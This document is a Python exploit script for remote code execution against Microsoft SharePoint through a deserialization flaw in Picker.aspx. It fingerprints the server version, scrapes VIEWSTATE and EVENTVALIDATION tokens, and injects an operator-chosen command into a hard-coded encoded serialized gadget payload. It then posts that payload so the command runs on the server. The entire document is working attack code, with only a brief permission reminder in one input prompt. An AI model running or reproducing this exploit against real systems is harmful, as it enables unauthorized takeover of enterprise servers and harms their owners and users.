Microsoft SharePoint – Deserialization Remote Code Execution
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys from xml.sax.saxutils import escape from lxml import html import codecs import readline from clint.arguments import Args import signal def serialize_command(cmd): total = "" for x in cmd: a = codecs.encode(x,"utf-16be") b = codecs.encode(a,"hex").decode('ascii') total += b[::-1] return total def deserialize_command(cmd): length = len(cmd) s = "" for i in range(0,length,4): character = cmd[i]+cmd[i+1]+cmd[i+2]+cmd[i+3] character = character[::-1] c_hex = codecs.decode(character,"hex") a = codecs.decode(c_hex,"utf-16be") s += a return s ####################################### signal.signal(signal.SIGINT, signal.default_int_handler) args = Args() myargs = dict(args.grouped) if '--help' in myargs or '-h' in myargs: help = """ desharialize options: -h --help - This menu -u --url - The Sharepoint Picker.aspx URL ( e.g. http://localhost/_layouts/15/Picker.aspx ) -c --command - The command to run on the target Sharepoint server. -f --file - The file containing the command to run (Useful for commands with multi-lines or characters that need escaping) """ print (help) exit(0) url = '' cmd = '' filename = '' if '--url' in myargs or '-u' in myargs: try: url = myargs['--url'][0] except: url = myargs['-u'][0] if '--command' in myargs or '-c' in myargs: if '--file' in myargs or '-f' in myargs: print("Can't use both command and file options at the same time!") exit(0) try: cmd = myargs['--command'][0] except: cmd = myargs['-c'][0] if '--file' in myargs or '-f' in myargs: try: filename = myargs['--file'][0] except: filename = myargs['-f'][0] file = open(filename,mode='r') cmd = file.read() file.close() sharepoint2019and2016 = "?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=16.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c"; sharepoint2013 = "?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=15.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c"; sharepoint2010 = "?PickerDialogType=Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=14.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c"; PY2 = sys.version_info[0] == 2 PY3 = sys.version_info[0] == 3 if PY3: string_types = str, raw_input = input else: string_types = basestring, if url == '': url = raw_input("Enter the SharePoint Server URL ending with Picker.aspx:") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0', } firstcall = requests.get(url,headers=headers) spheader = firstcall.headers.get('MicrosoftSharePointTeamServices','16') spheader = int(spheader.split('.')[0]) payload = "__bpzzzz35009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e600460056004600750027001600070007005600270006002300b500b50035009700370047005600d600e20075009600e6004600f60077003700e200d40016002700b60057000700e20085001600d600c600250056001600460056002700c200020005002700560037005600e6004700160047009600f600e600640027001600d60056007700f6002700b600c200020065005600270037009600f600e600d3004300e2000300e2000300e2000300c200020034005700c6004700570027005600d300e60056005700470027001600c600c2000200050057002600c60096003600b400560097004500f600b6005600e600d3003300130026006600330083005300630016004600330063004300560033005300d500c200b50035009700370047005600d600e20075009600e6004600f60077003700e2004400160047001600e200f4002600a600560036004700440016004700160005002700f60067009600460056002700c200020005002700560037005600e6004700160047009600f600e600640027001600d60056007700f6002700b600c200020065005600270037009600f600e600d3004300e2000300e2000300e2000300c200020034005700c6004700570027005600d300e60056005700470027001600c600c2000200050057002600c60096003600b400560097004500f600b6005600e600d3003300130026006600330083005300630016004600330063004300560033005300d500d500c200020035009700370047005600d600e2004400160047001600e20035005600270067009600360056003700c200020065005600270037009600f600e600d3004300e2000300e2000300e2000300c200020034005700c6004700570027005600d300e60056005700470027001600c600c2000200050057002600c60096003600b400560097004500f600b6005600e600d3002600730073001600530036005300630013009300330043005600030083009300a300c300f3008700d600c600020067005600270037009600f600e600d30022001300e2000300220002005600e6003600f60046009600e6007600d3002200570047006600d200130063002200f300e300d000a000c3005400870007001600e6004600560046007500270016000700070056002700f400660085001600d600c600250056001600460056002700f4002600a600560036004700440016004700160005002700f6006700960046005600270002008700d600c600e6003700a300870037009600d30022008600470047000700a300f200f200770077007700e20077003300e200f60027007600f2002300030003001300f2008500d400c4003500360086005600d6001600d2009600e600370047001600e60036005600220002008700d600c600e6003700a300870037004600d30022008600470047000700a300f200f200770077007700e20077003300e200f60027007600f2002300030003001300f2008500d400c4003500360086005600d60016002200e300d000a00002000200c30005002700f600a6005600360047005600460005002700f600070056002700470097000300e300d000a0000200020002000200c300f4002600a6005600360047009400e600370047001600e600360056000200870037009600a3004700970007005600d300220085001600d600c60025005600160046005600270022000200f200e300d000a0000200020002000200c300d400560047008600f6004600e4001600d6005600e30005001600270037005600c300f200d400560047008600f6004600e4001600d6005600e300d000a0000200020002000200c300d400560047008600f60046000500160027001600d60056004700560027003700e300d000a000020002000200020002000200c3001600e600970045009700070056000200870037009600a3004700970007005600d3002200870037004600a3003700470027009600e60076002200e3006200c6004700b300250056003700f600570027003600560044009600360047009600f600e60016002700970002008700d600c600e6003700d30072008600470047000700a300f200f2003700360086005600d60016003700e200d600960036002700f6003700f60066004700e2003600f600d600f20077009600e60066008700f2002300030003006300f20087001600d600c600f20007002700560037005600e6004700160047009600f600e600720002008700d600c600e6003700a3008700d30072008600470047000700a300f200f2003700360086005600d60016003700e200d600960036002700f6003700f60066004700e2003600f600d600f20077009600e60066008700f2002300030003006300f20087001600d600c600720002008700d600c600e6003700a30035009700370047005600d600d30072003600c6002700d200e6001600d600560037000700160036005600a30035009700370047005600d600b3001600370037005600d6002600c6009700d300d60037003600f6002700c60096002600720002008700d600c600e6003700a3004400960016007600d30072003600c6002700d200e6001600d600560037000700160036005600a30035009700370047005600d600e2004400960016007600e600f60037004700960036003700b3001600370037005600d6002600c6009700d30037009700370047005600d6007200620076004700b3006200c6004700b300f4002600a600560036004700440016004700160005002700f6006700960046005600270002008700a300b40056009700d3007200970072000200f4002600a6005600360047004500970007005600d3007200b7008700a300450097000700560002004400960016007600a30005002700f6003600560037003700d70072000200d400560047008600f6004600e4001600d6005600d3007200350047001600270047007200620076004700b3006200c6004700b300f4002600a600560036004700440016004700160005002700f60067009600460056002700e200d400560047008600f60046000500160027001600d60056004700560027003700620076004700b3006200c6004700b30035009700370047005600d600a3003500470027009600e6007600620076004700b3003600d60046006200c6004700b300f20035009700370047005600d600a3003500470027009600e6007600620076004700b3006200c6004700b30035009700370047005600d600a3003500470027009600e6007600620076004700b300f20036000200e200e200e200140024003400e200e200e20002006200c6004700b300f20035009700370047005600d600a3003500470027009600e6007600620076004700b3006200c6004700b300f200f4002600a600560036004700440016004700160005002700f60067009600460056002700e200d400560047008600f60046000500160027001600d60056004700560027003700620076004700b3006200c6004700b300f200f4002600a600560036004700440016004700160005002700f60067009600460056002700620076004700b3006200c6004700b300f200250056003700f600570027003600560044009600360047009600f600e600160027009700620076004700b3000200c300f2001600e60097004500970007005600e300d000a0000200020002000200c300f200d400560047008600f60046000500160027001600d60056004700560027003700e300d000a00002000200c300f20005002700f600a6005600360047005600460005002700f600070056002700470097000300e300d000a000c300f2005400870007001600e6004600560046007500270016000700070056002700f400660085001600d600c600250056001600460056002700f4002600a600560036004700440016004700160005002700f60067009600460056002700e300" assemblyvalue = sharepoint2019and2016 if spheader == 15: assemblyvalue = sharepoint2013 elif spheader == 14: assemblyvalue = sharepoint2010 else: assemblyvalue = sharepoint2019and2016 FullURL = url + assemblyvalue secondcall = requests.get(FullURL,headers=headers) secondcalltext = secondcall.text tree = html.fromstring(secondcall.content) viewstate = '' eventvalidation = '' try: viewstate = tree.get_element_by_id('__VIEWSTATE') viewstate = viewstate.value except: pass try: eventvalidation = tree.get_element_by_id('__EVENTVALIDATION') eventvalidation = eventvalidation.value except: pass if cmd == '': cmd = raw_input("Write your full command here to execute on the test target system (Make sure you have permissions from system owner):") #escapedcmd = escape(cmd,html_escape_table) cmd = cmd.replace("&","&") cmd = cmd.replace(">",">") cmd = cmd.replace("<","<") cmd = cmd.replace("\"",""") cmd = cmd.replace("'","'") escapedcmd = escape(cmd) print(escapedcmd) srlcmd = serialize_command(escapedcmd) length = 1448 + len(escapedcmd) hex_length = format(length * 4,'x') serialized_length = hex_length[::-1] payload = payload.replace("e200e200e200140024003400e200e200e200",srlcmd) payload = payload.replace("zzzz",serialized_length) print("Deserialized Payload:") print(deserialize_command(payload[8:])) data = {"__VIEWSTATE":viewstate,"__EVENTVALIDATION":eventvalidation,"ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData":payload} thirdcall = requests.post(FullURL, data=data,headers=headers) print("Payload launched! Check execution results. Exiting...") |